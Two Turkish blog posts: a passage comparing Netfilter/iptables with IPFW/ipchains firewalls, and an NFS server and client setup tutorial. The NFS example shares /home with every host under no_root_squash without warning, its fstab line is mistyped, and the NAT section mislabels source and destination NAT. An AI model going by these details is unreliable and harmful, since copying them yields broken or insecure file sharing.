Aynı şekilde, bir durumsal-inceleme güvenlik duvarı Web sunucusundan gelen paketlerin içerdeki bir makinadan yapılan isteğe karşılık olup olmadığınıda kontrol edebilir. Durumsuz-filtreleme güvenlik duvarları bu tip saldırıları algılayamazlar.

Netfilter IPFW`ye karşı
Eski IPFW ile Netfilter arasındaki en büyük fark Netfilter`ın durumsal-paket-inceleme içeriyor olması. Ve güvenlik duvarı kullanıcıları için büyük bir değişiklikde Netfilter`ın güvenlik duvarı kurallarının yönetimi için iptables kullanıyor olması. Sistem yöneticileri için iyi bir haber uyumluluk modülünün olması, böylece ipchains kuralları iptables ile kullanılabiliyor.

iptables ile ipchains arasında önemli farklar var. ipchains tarafından kullanılan kurallar zincirleri yerine, hedefi gösteren zincirleri içeren tablolar (tables) geldi. Hedef, bir güvenlik duvarı aksiyonunu temsil ediyor: bir pakedi reddet, yönlendir, kabul et veya logla. Tablolar ile, aynı paket için çoklu hedefler kullanabilirsiniz. Örneğin, bir pakedi loglayıp yönlendirebilir veya loglayıp reddedebilirsiniz.
Netfilter`daki bir diğer özellik ise Ağ adres çevriminin (Network Address Translation – NAT) gelişmiş kullanımı. IPFW`de olduğu gibi NAT`ı bir hedef olarak uygulamaktansa Netfilter hem gelen gemde giden NAT fonksiyonları ile daha iyi entegre olan yeni bir NAT modülü sağlıyor. Gelen NAT (Inbound NAT-INAT) tüm ağın tek bir IP adresini paylaşabilmesini sağlıyor, Gİden NAT (Destination NAT-DNAT) ağ içinden gelen paketleri direk hedefe değilde önce -örneğin proxy sunucuya- yönlendiriyor.

Netfilter ayrıca tek bir kaynaktan gelebilecek SYN paketlerinin sayısınıda sınırlayabiliyor. Böylece SYN-flood DoS saldırılarına karşı bir koruma sağlıyor. Paket filreleme güvenlik duvarlarını aşmak için bozuk TCP başlıkları kullanan gizli (stealth) taramaları (örneğin port tarama aracı nmap) algılayabiliyor.

Linux güvenlik duvarı kullanıcıları Netfilter`in durumsal-paket-inceleme fonksiyonlarını hevesle bekliyorlardı. Linux Firewalls yazarı Zeigler Netfilter ve iptables bu konudaki olumlu görüşlerini şöyle belirtiyor: ‘durum ve NAT modüllerinin sunduğu özellikler çok büyük bir kazanç ve herkes mümkün olduğunca çabuk geçiş yapacaktır.’ Fakat Zeigler aynı zamanda birde uyarıda bulunuyor: ‘Öğrenilmesi gereken çok şey var, bir iki günde yapmayı hayal etmeyin.’

Eskisini mi kullanacaksınız, yenisine mi geçecekmisiniz?
Geçtiğimiz yıllardaki yönetici fonksiyonlarının evrimini gözönünde bulundurursak, Linux güvenlik duvarları daha güvenli hale geldimi? Evet ve Hayır.

Evet çünkü her yeni sürümle ve özellikle bug`lar düzeltildi. Hayır çünkü her yeni yazılım yeni riskleri ortaya çıkarır.

Case Western üniversitesi doktora yapan ve bir ağ güvenliği uzmanı olan Jose Nazario ‘Linux kernel`inin fixlediklerinden daha çok bug içerenler sunduğu uzun ve denenmiş bir tarihi vardır.’ diyor. ‘Birşeyi fixlemek isterken başka değerli bir şeyi bozuyor olmanız mümkün.’

Geçtiğimiz yıllarda Linux kernel modüllerinde birkaç ciddi güvenlik açığı bulundu. En son olarak Nisan ayında rapor edilen, Netfilter modülünün FTP trafiğini işlemesiyle ilgili olandı. FTP istemci ile sunucu arasında iki bağlantı seti gerektirdiğinden diğer protokollerden biraz farklı. Birincisi istemciden sunucuya kontrol bağlantısı, ikincisi sunucudan istemciye bilgi-transfer bağlantısı. (Tüm FTP bağlantıları bu şekilde çalışmayabilir fakat bu protokol tarafından orjinal metoddur).

Kaynak :  : Information Security Magazine

Yazan : ceyhun çamlı \\ Etiketler:

May 05

Network File System (NFS) servisi file server olarak bilinen; bir bilgisayarların bir server bilgisayar üzerindeki dizinlere erişmesini sağlayan network servisidir. NFS sayesinde bir server üzerindeki dosya ve dizinlere diğer bilgisayarlar (clients) erişebilirler.

 Konfigürasyon

 NFS servisinin konfigürasyonunda üç dosya kullanılır.

 /etc/exports

/etc/hosts.allow

/etc/hosts.deny

 /etc/exports dosyası server üzerinde paylaştırılan dizinleri belirtir:

 Sözdizimi:

 <dizin> <bilgisayar1> seçenekler  ..

 dizin: paylaştırılacak dizin.

 bilgisayar: Bilgisayar adı (fqdn) ya da IP adresi.

 Seçenekler:

 

Seçenek Açıklama
ro Dizinin read-only olarak paylaştırılmasını sağlar.
rw Dizinin read ve write olarak paylaştırılmasını sağlar.
no_root_squash Client bilgisayardaki root kullanıcı izinlerinin server üzerinde de geçerli olması.
no_subtree_check Alt dizinlere erişimde yapılan kontrollerin performans için yapılmaması.
sync Client bilgisayar üzerinde yazma (write) işleminin tamamlandığını onaylar. 

 Örnek:

 Client bilgisayarlar (paylaşımlara erişecekler):  192.168.1.1, 192.168.1.2 ve 192.168.1.3

 Server üzerindeki paylaşımlar:

  /etc/exports dosyası:

 Sözdizimi:

 <dizin>             <kimlere> <seçenekler>

 /home        *(ro,no_root_squash,no_subtree_check)

 /usr/local   192.168.1.1(ro) 192.168.1.2(ro)

/home        192.168.1.1(rw) 192.168.1.2(rw)

 Bir domain adı altında bulunan tüm bilgisayarların erişmesi için erişim yapacak bilgisayarlar yerine domain adı da kullanılabilir.

 /usr/local   *.fcholding.com

/home        192.168.1.1(rw) 192.168.1.2(rw)

 Nfs servisinin yeniden başlatılması

 Yapılan değişikliklerin hayata geçmesi için NFS servisinin yeniden başlatılması gerekir.

 # service nfs restart

 NOT: Kullanılan dağıtıma göre nfs servisinin adı farklı olabilir. Örneğin Mandriva’da nfs-server.

 # cd /etc/init.d

# nfs-server restart

 /etc/hosts.allow ve /etc/hosts.deny dosyaları

Bu iki dosya ise NFS servisini kullanacak bilgisayarların tanımlanmasını sağlar. Allow dosyasında izin verilen bilgisayarlar tanımlanır. Deny dosyasında ise erişimi istenmeyen bilgisayarlar tanımlanır.

 Client Bilgisayarın Konfigürasyonu

Server üzerinde oluşturulan paylaşımlara erişmek istene client bilgisayarların bu dizinleri mount etmesi gerekir.

 Örnek:

 # mkdir /mnt/net1

# mount -t nfs 192.168.1.200:/home /mnt/net1

 Mount işleminin sürekliliğini sağlamak için yine mount tanımlamaları /etc/fstab dosyasına eklenir.

 92.168.1.200:/home /mnt/net1   nf         rw         0          0

Yazan : ceyhun çamlı \\ Etiketler: ,